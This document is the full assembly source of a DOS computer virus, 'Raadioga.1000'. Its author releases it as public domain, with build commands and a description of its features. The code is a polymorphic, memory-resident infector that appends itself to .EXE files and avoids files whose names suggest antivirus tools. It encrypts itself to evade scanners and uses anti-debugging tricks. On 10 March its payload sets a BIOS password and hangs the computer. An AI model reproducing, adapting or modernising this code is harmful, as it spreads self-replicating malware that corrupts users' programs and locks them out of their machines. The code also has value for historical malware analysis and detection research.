;Raadioga.1000 v1.0 24.Mar.1997 NiL
;
;Licence :]
;==============================================================================
;As this code has been around for about two years and is widely recognized by
;several AV utilities I decided to make it a public domain. So You can take it
;or leave it / modify it / use it for Your own purposes etc. If You wish to
;show respect to my work leave those magic letters NiL inside code. BTW this
;is not my pseudonym. It is rather a codename for my activity of producing
;these tiny self-replicating pieces of code. Have fun!
;
;Introduction
;==============================================================================
;Polymorphic memory resident .EXE infector for DOS executables. All .EXE files
;in current directory are infected on following Int21 calls:
;   ah,1Ah   Set DTA
;   ah,0Eh   Set default disk
;   ah,11h   Find first via file FCB
;   ax,713Bh Set default dir (Win95)
;The payload activates on the 10th of March. At this time it enables Award BIOS
;password, displays a message and enters an infinite loop. The code is quite
;bug-free, well-commented and highly optimized for size. Written on my
;ever-young 4.77MHz XT.
;
;Features You might find interesting
;==============================================================================
;Polymorphism
;  Quite a simple code-swapping algorithm. Enough to avoid pattern search.
;  The interesting thing about this feature is that it changes a portion of
;  decryption code according to infection date after each two weeks. This leads
;  to belief that the code is not polymorphic. (Thats why several versions
;  of AV utilities fail to find all the variations even nowadays. For example
;  the AV guys at Symantec seem to think that variations are some kind of
;  modifications of this virii :). Anyway the variation generated for example
;  on 24-Mar-1997 is quite different of a variation generated on 01-Jan-2000.
;
;Encryption
;  Stupid XOR/SUB/ADD encryption. When host is started the decryptor is
;  placed into Int8 (timer) interrupt handler and thus executed automatically
;  after a while - a problem for debuggers which enter into Int8 handler.
;  Even more - it is combined with a trick of modifing a jmp instruction
;  after handler execution which causes the waiting loop to terminate
;  jumping into middle of the same (modified jmp) instruction.
;  Confusing - maybe...
;
;Anti-debugging/anti-disassembling
;  As I wished to keep the size 1000 only some really simple features. Nothing
;  advanced like tunneling, running line etc.
;
;Multi-infection
;  With possibility of 3/64 infects a file multiple times.
;
;AV check on infection
;  Does not infect files starting with F-*, SC*, TB*, AV*, VI*, VS*.
;
;Stealth (?)
;  Sorry for calling it "Stealt" but do You always notice file size growth of
;  1000 bytes? The software does :-(
;
;Award BIOS password setting
;  Sets the necessary bits and recalculates checksum.
;
;FD write protection check.
;  Reads and tries to write back a sector using Int13 services.
;
;File Read-Only bit removal
;  Removes the R-bit when needed and sets back after the job is done.
;
;For further reading visit:
;==============================================================================
;http://www.avpve.com/viruses/r/raadioga.html
;http://www.datafellows.com/v-descs/raadioga.htm
;http://www.symantec.com/avcenter/venc/ebld/enc.cgi?vid=7542&lang=us
;
;Greetings
;==============================================================================
;to virii writers - keep up a good work & don't write harmful virii,
;to Wannabees for having an interest in something most people do not have:
;   Knowledge (no ironics),
;to AV people for earning their living in fighting our progs (no ironics),
;to VLAD for producing high-quality technical magazines,
;to Ralf Brown for his wonderful interrupt list,
;to creators of SoftIce, Sourcer, Hiew for magnificent tools,
;to all involved in the scene (Sorry, I think I'm going to leave the scene
;  soon).
;
;==============================================================================
;Here it comes and assembles using commands:
;tasm /m2 raadio10.asm
;tlink /t /x raadio10.obj
.model	tiny
.code
org	100h

ProgOfs	equ	offset @Crypt		;De|encrytor offset
VirSize	equ	@End-ProgOfs		;Size of virus code
CrySize	equ	@End-@Crted		;Size of encrypted code
DtaOfs	equ	VirSize			;Disk Transfer Area buffer offset
BufOfs	equ	DtaOfs+43		;Encryption Buffer Offset
BufSize	equ	VirSize+20h		;Encryption Buffer Size
AllSize	equ	BufOfs+BufSize		;Size of code and buffer
;==============================================================================
@Begin:	jmp	@Start
;==============================================================================
@Crypt:	mov	di,(offset @End)-2	;Encryption offset
	mov	cx,CrySize/2		;Size of code to crypt
	mov	ax,0			;Encryption key
@CrNxt:	xor	ds:[di],ax		;De|encrypt word
	nop				;Placeholder
	add	di,-2			;Decrement pointer
	loop	@CrNxt			;De|encrypt next word
@CrRet:	inc	byte ptr ds:[di+1]	;Set "Decryption done" flag
	iret				;Return from int 08h handler
;------------------------------------------------------------------------------
@Start: push	ds
	mov	si,ProgOfs		;Virus offset
	mov	ax,3508h
	int	21h			;Get interrupt 08h handler address
	push	cs
	pop	ds
	mov	dx,si
	mov	ah,25h
	int	21h			;Set our interrupt 08h handler

	db	0EBh			;jmp $ - 2
CrypFlg	db	0FEh			;Decrypt not yet done? (FEh->(FFh=dec))
@Crted:	db	4Ch			;byte ptr [si+CrypFlg-ProgOfs]
	db	CrypFlg-ProgOfs

	db	0B8h,005h,0FEh,0EBh,0FCh
	add	ax,3B05h		;mov ax,2508h
	mov	dx,bx
	push	es
	pop	ds
	int	21h			;Restore original interrupt 08h handler

	mov	al,20h
	out	20h,al			;EOI signal

	mov	bp,si

	db	0B8h,005h,0FEh,0EBh,0FCh
	sub	ax,0BF8Ch		;mov ax,2A77h
	int	21h
	cmp	ax,bx			;Virus already resident?
	je	@Done
	cmp	dx,030Ah
	je	@Spec			;10th of March code

	pop	es			;Segment of programs PSP
	push	es
	sub	di,di
	mov	bx,es			;Calculate address of programs MCB
	dec	bx
	mov	ds,bx

	sub	word ptr ds:[di+03h],(AllSize+0Fh)/10h+1
	add	bx,ds:[di+03h]		;New size of programs memory block
	inc	bx			;Calculate address of viruses MCB
	mov	es,bx
	mov	al,'M'
	xchg	al,byte ptr ds:[di]	;Get/Set type of programs memory block

	stosb				;Set type of viruses memory block
	mov	ax,08h
	stosw				;Set owner of viruses memory block (DOS)
	mov	ax,(AllSize+0Fh)/10h
	stosw				;Set size of viruses memory block

	inc	bx
	mov	es,bx
	sub	di,di
	mov	cx,(VirSize+1)/2
	push	cs
	pop	ds
	rep	movsw			;Copy virus code to new memory block

	push	es
	mov	si,21h*4
	mov	di,03h*4
	push	di
	mov	ds,cx
	mov	es,cx
	movsw				;Copy Int 21h on Int 03h
	movsw
	pop	si
	pop	es
	mov	di,Ofs21-ProgOfs
	movsw				;Get old Int 21h handler address
	movsw

	cli				;Set our Int 21h handler
	mov	word ptr ds:[21h*4],@New21-ProgOfs
	mov	ds:[21h*4+2],es

@Done:	pop	es
	push	es
	pop	ds

	mov	ax,ds			;Segment address of PSP
	add	ax,10h			;Add PSP size
	add	cs:[bp+OldCS-ProgOfs],ax
	jmp	@FlCue			;Flush processur queue (for 486)
@FlCue:	db	05h			;add ax,
OldSS	dw	0			;original ss
	cli
	mov	ss,ax
	db	0BCh			;mov sp,
OldSP   dw	0			;original sp
	sti
	db	0EAh			;Jump to
OldIP	dw	0			;original IP
OldCS	dw	0FFF0h			;original CS
;==============================================================================
@Spec:	mov	al,11h			;Award BIOS code
	out	70h,al
	in	al,71h			;Read password settings
	mov	bl,al
	or	bl,00000011b
	push	bx
	sub	bl,al			;Calculate difference to bl
	mov	al,11h
	out	70h,al
	pop	ax
	out	71h,al			;Enable password for Setup and System

	mov	al,2Fh
	out	70h,al
	in	al,71h			;Read BIOS checksum
	add	bl,al			;Calculate new checksum into bl
	mov	al,2Fh
	out	70h,al
	xchg	ax,bx
	out	71h,al			;Save new checksum

	call	@Wr
	db	07h,'HAIGUSTE RAVI KONTROLLITUD VAIKUSE PIMEDUSE JA RAADIOGA$'
	db	'NiL'
@Wr:	pop	dx
	push	cs
	pop	ds
	mov	ah,09h
	int	21h
        cli
@NoStop:jmp	@NoStop                 ;Hang the computer
;==============================================================================
@New21:	cmp	ah,1Ah			;"Set DTA" service
	je	@DoIt
	cmp	ah,0Eh			;"Set default disk" service
	je	@DoIt
	cmp	ah,11h			;"Find first via file FCB" service
	je	@DoIt
	cmp	ax,713Bh		;"Set default dir" service (Win95)
	je	@DoIt
	cmp	ax,2A77h		;"Get DOS date" ("Are we resident?")
	je	@OurCl
@Orig21:db	0EAh			;Jump to original Int 21h handler
Ofs21	dw	7777h
Seg21	dw	7777h
@OurCl:	mov	bx,ax
	iret
;------------------------------------------------------------------------------
@DoIt:	push	ax bx cx dx si di ds es

	mov	ah,19h
	int	03h			;Get default drive specification to al
	cmp	AL,1			;Not drive A: or B:?
	ja	@NProt
	xchg	dx,ax			;Move drivespec to dl
	sub	dh,dh			;Set drive.headspec to dh (dh:=0)
	mov	ax,0201h		;ah:=SubFn(Write); al:=Sector count
	mov	cx,ax			;ch:=Track(0-n); cl:=Sector(1-n)
	push	cs
	pop	es			;es:=cs
	mov	bx,DtaOfs		;Offset of buffer into bx
	int	13h			;Read sector from disk to es:bx
	mov	ax,0301h		;ah:=SubFn(Write); al:=Sector count
	int	13h			;Write same sector to same place
	jnc	@NProt
	jmp	@YProt
;------------------------------------------------------------------------------
@NProt:	mov	ah,2Fh
	int	03h			;Get DTA
	push	es bx			;and store it

	push	cs
	pop	ds
	mov	dx,DtaOfs
	mov	ah,1Ah
	int	03h			;Set DTA

	mov	dx,ExeMask-ProgOfs
	mov	cx,7
	mov	ah,4Eh
@FndNxt:int	03h			;Find first/next .EXE file
	jc	@DntInf

	mov	si,DtaOfs+15h		;Set si point to file attribute
	sub	ax,ax
	cld
	lodsb				;Get file attribute
	xchg	cx,ax			;and store it into cl for later use

	lodsw				;Get file time
	mov	bx,ax
	and	al,11100000b		;Set FileTime.Sec=34
	or	al,00010001b		;to indicate infection
	cmp	ax,bx			;File already possibly infected?
	je	@NThis

	mov	cs:[FlTime-ProgOfs],ax
	lodsw				;Get file date
	mov	cs:[FlDate-ProgOfs],ax
	lodsw
	lodsw				;Get High(FileSize)
	cmp	ax,7			;File smaller than 589824?
	ja	@NThis
	mov	dx,si			;Store offset of 13-byte filespec

	lodsw
	push	cs
	pop	es
	mov	di,AVir-ProgOfs
	mov	cx,(@Infect-AVir)/2
@NxtAv:	scasw				;Is it Anti-Virus?
	je	@NThis
	loop	@NxtAv

	mov	bx,cx			;Copy file attribute into bx
	and	cl,0FEh			;Strip "Read-only" bit
	cmp	cl,bl			;File not "Read-only"?
	je	@NROnly

	mov	ax,4301h
	int	03h			;Set file to not "Read-only"
	jc	@NThis
	stc				;Set "File was Read-only" flag

@NROnly:pushf
	push	dx bx

	mov	ax,3D02h
	int	03h			;Open file for reading/writing
	jc	@OpnErr			;Operation not successful
	xchg	bx,ax			;File handle into bx

	call	@Infect			;Call "Infect file" procedure

@OpnErr:pop	cx dx
	popf
	jnc	@NThis			;"File was Read-only" flag not set

	mov	ax,4301h
	int	03h			;Restore original file attributes

@NThis:	mov	dx,DtaOfs
	mov	ah,4Fh
	jmp	@FndNxt			;Find next .EXE file

@DntInf:pop	dx ds
	mov	ah,1Ah
	int	03h			;Restore original DTA

@YProt:	pop	es ds di si dx cx bx ax
	jmp	@Orig21			;Jump to original Int 21h

ExeMask	db	'*.EXE',0
AVir	db	'F-SCTBAVVIVS'
;=============================================================================
@Infect:mov	cx,1Ah
	mov	dx,BufOfs
	mov	di,dx
	mov	ah,3Fh
	int	03h			;Read file header into buffer (ds:dx)
	cmp	byte ptr ds:[di+18h],40h
	je	@BdFile			;Windows executable

	mov	ax,4202h
	sub	cx,cx
	cwd
	int	03h			;Seek EOF, get filesize into dx:ax

	push	ax dx
	mov	cx,512
	div	cx			;Calculate 512-byte page count
	or	dx,dx			;No partial page?
	jz	@NoPart
	inc	ax			;Page for partial page too
@NoPart:cmp	ds:[di+04h],ax		;Page count ok?
	je	@PCntOk
@BdSize:pop	dx ax
@BdFile:jmp	@Close
@PCntOk:cmp	ds:[di+02h],dx		;Size of partial page ok?
	jne	@BdSize
	pop	dx ax

	push	ax
	mov	cx,4
@LDiv:	shr	dx,1			;Divide FileSize by 16
	rcr	ax,1
	loop	@LDiv
	sub	ax,ds:[di+08h]		;Subtract HeaderSize/16

	pop	dx
	and	dx,0Fh			;Strip high bits to calculate ip
	mov	si,dx			;Store new ip (used later in encryption)

	add	dl,@Start-ProgOfs

	push	ax
	xchg	ds:[di+0Eh],ax		;Exchange header ss
	mov	ds:[OldSS-ProgOfs],ax
	pop	ax
	xchg	ds:[di+16h],ax		;Exchange header cs
	mov	ds:[OldCS-ProgOfs],ax
	xchg	ds:[di+14h],dx		;Exchange header ip
	mov	ds:[OldIP-ProgOfs],dx
	mov	ax,8FFEh
	xchg	ds:[di+10h],ax		;Exchange header sp
	mov	ds:[OldSP-ProgOfs],ax

	mov	ax,ds:[di+02h]		;Calculate new filesize
	add	ax,VirSize MOD 512
	cmp	ax,512
	jb	@NoCr
	sub	ax,512
	inc	word ptr ds:[di+04h]
@NoCr:	mov	ds:[di+02h],ax
	inc	word ptr ds:[di+04h]	;NB! (512 >= VirSize > 1024)

	mov	ax,ds:[di+0Ah]		;Minimum memory required
	add	ax,(AllSize+0Fh)/10h+1
	jc	@BdFile
@MinOk:	cmp	ds:[di+0Ch],ax		;Maximum memory required
	jbe	@BdFile
	mov	ds:[di+0Ah],ax

	push	bx
	call	@Engine			;Generate Cryptor
	call	@Crypt			;Encrypt virus in buffer
	pop	bx

	mov	cx,VirSize
	mov	dx,BufOfs+18h
	mov	ah,40h
	int	03h			;Write virus to end of file
	jc	@Close

	mov	ax,4200h
	sub	cx,cx
	cwd
	int	03h			;Seek beginning of file

	mov	cx,18h
	mov	dx,BufOfs
	mov	ah,40h
	int	03h			;Write new header to file

	in	al,40h			;Make multi-infection possible
	cmp	al,11			;Possibility=(3/64)
	ja	@Close
	inc	word ptr ds:[FlTime-ProgOfs]

@Close:	mov	ax,5701h
	db	0B9h			;mov cx,
FlTime 	dw	0			;modified FileTime
	db	0BAh			;mov dx,
FlDate	dw	0			;FileDate
	int	03h			;Restore file modification date/time

	mov	ah,3Eh
	int	03h			;Close file
	retn
;==============================================================================
xor_dsdi	equ	031h
add_dsdi	equ	001h
sub_dsdi	equ	029h
inc_ax		equ	040h
dec_ax		equ	048h
inc_byte_ptr	equ	0FEh
inc_word_ptr	equ	0FFh
dssi		equ	02744h
dsdi		equ	00145h
push_ds		equ	01Eh
push_es		equ	006h
int_21		equ	021CDh
push_cs_pop_ds	equ	01F0Eh
mov_dx_si	equ	0D68Bh
mov_ah_25	equ	025B4h
mov_di		equ	0BFh
retn_		equ	0C3h

mov_di_COfs	db	mov_di
CrypOfs		dw	0
mov_cx_CSiz	db	0B9h
CrypSiz		dw	CrySize/2
mov_ax_CVal	db	0B8h
CrypVal		dw	0
dec_di_jnz	db	04Fh,04Fh,049h,075h,0F8h
add_di_lop	db	083h,0C7h,0FEh,0E2h,0F8h
sub_di_lop	db	083h,0EFh,002h,0E2h,0F8h
mov_ax_3508	db	0B8h,008h,035h
mov_si_VOfs	db	0BEh
VirOfs		dw	0
;------------------------------------------------------------------------------
@Engine:push	ds
	pop	es
	sub	di,di
	mov	word ptr ds:[VirOfs-ProgOfs],si
	add	si,(@End-2)-ProgOfs	;Calculate offset of crypted area end
	mov	word ptr ds:[CrypOfs-ProgOfs],si
	in	al,40h			;Get random number
	mov	ah,al
	in	al,40h
	mov	word ptr ds:[CrypVal-ProgOfs],ax
	mov	ah,2Ah
	int	03h			;Get DOS date cx-year;dh-month;dl-day

	inc	dh			;Calculate seed
	mov	cl,3
	shl	dl,cl
	shl	dx,1
	shr	cl,1
	rcl	dh,1
	ror	dh,1			;Seed in form: Y00MMMMD

	mov	si,mov_di_COfs - ProgOfs
	mov	ax,mov_cx_CSiz - ProgOfs
	mov	bx,mov_ax_CVal - ProgOfs
	ror	dh,1			;DY00MMMM
	jc	@1_1
	xchg	si,ax
@1_1:	ror	dh,1			;MDY00MMM
	jc	@1_2
	xchg	si,bx
@1_2:	ror	dh,1			;MMDY00MM
	jc	@1_3
	xchg	ax,bx
@1_3:	movsb
	movsw
	xchg	si,ax
	movsb
	movsw
	xchg	si,bx
	movsb
	movsw
					;Choose encryption method
	mov	al,xor_dsdi
	ror	dh,1			;MMMDY00M
	jc	@2_1
	mov	al,add_dsdi
@2_1:	ror	dh,1			;MMMMDY00
	jc	@2_2
	mov	al,sub_dsdi
@2_2:	stosb
	inc	di
					;Choose key manipulation
	mov	al,inc_ax
	rol	dh,1			;MMMDY00M
	jc	@2_3
	mov	al,dec_ax
@2_3:	stosb
					;Choose looping method
	mov	si,dec_di_jnz - ProgOfs
	rol	dh,1			;MMDY00MM
	jc	@3_1
	mov	si,add_di_lop - ProgOfs
@3_1:	rol	dh,1			;MDY00MMM
	jc	@3_2
	mov	si,sub_di_lop - ProgOfs
@3_2:	movsw
	movsw
	movsb
					;Choose increment operand size
	mov	al,inc_byte_ptr
	rol	dh,1			;DY00MMMM
	jc	@4_1
	mov	al,inc_word_ptr
@4_1:	stosb
					;Choose increment operand
	mov	ax,dssi
	rol	dh,1			;Y00MMMMD
	jc	@4_2
	mov	ax,dsdi
@4_2:	stosw
	inc	di
					;Choose PSP register to save
	mov	al,push_ds
	rol	dh,1			;00MMMMDY
	jc	@5_1
	mov	al,push_es
@5_1:	stosb
					;Swap pre-GetIntVec code
	mov	si,mov_ax_3508 - ProgOfs
	mov	ax,mov_si_VOfs - Progofs
	ror	dh,1			;Y00MMMMD
	jc	@6_1
	xchg	si,ax
@6_1:	movsb
	movsw
	xchg	si,ax
	movsb
	movsw
					;Swap miscellaneous code
	mov	ax,int_21
	mov	bx,push_cs_pop_ds
	call	Swap			;DY00MMMM
					;Swap pre-SetIntVec code
	mov	ax,mov_dx_si
	mov	bx,mov_ah_25
	call	Swap			;MDY00MMM

	mov	di,BufOfs+18h
	mov	cx,(VirSize+1)/2
	sub	si,si
	rep	movsw			;Copy virus to buffer

	mov	di,0FFFEh
	mov	al,mov_di
@Next:	inc	di
	inc	di
	scasb
	jne	@Next			;"mov di" command found
	mov	word ptr ds:[di],(BufOfs+18h)+((@End-2)-ProgOfs)
					;Swap "sub|add" in encryptor
	mov	di,@CrNxt-ProgOfs
	mov	ax,(sub_dsdi shl 8)+add_dsdi
	cmp	ds:[di],al
	jne	@NoAdd
	mov	ds:[di],ah
	jmp	@NoSub
@NoAdd:	cmp	ds:[di],ah
	jne	@NoSub
	stosb

@NoSub:	mov	byte ptr ds:[@CrRet-ProgOfs],retn_
	retn
;------------------------------------------------------------------------------
Swap:	ror	dh,1
	jc	@s_1
	xchg	ax,bx
@s_1:	stosw
	xchg	ax,bx
	stosw
	retn
;==============================================================================
@End:	end	@Begin
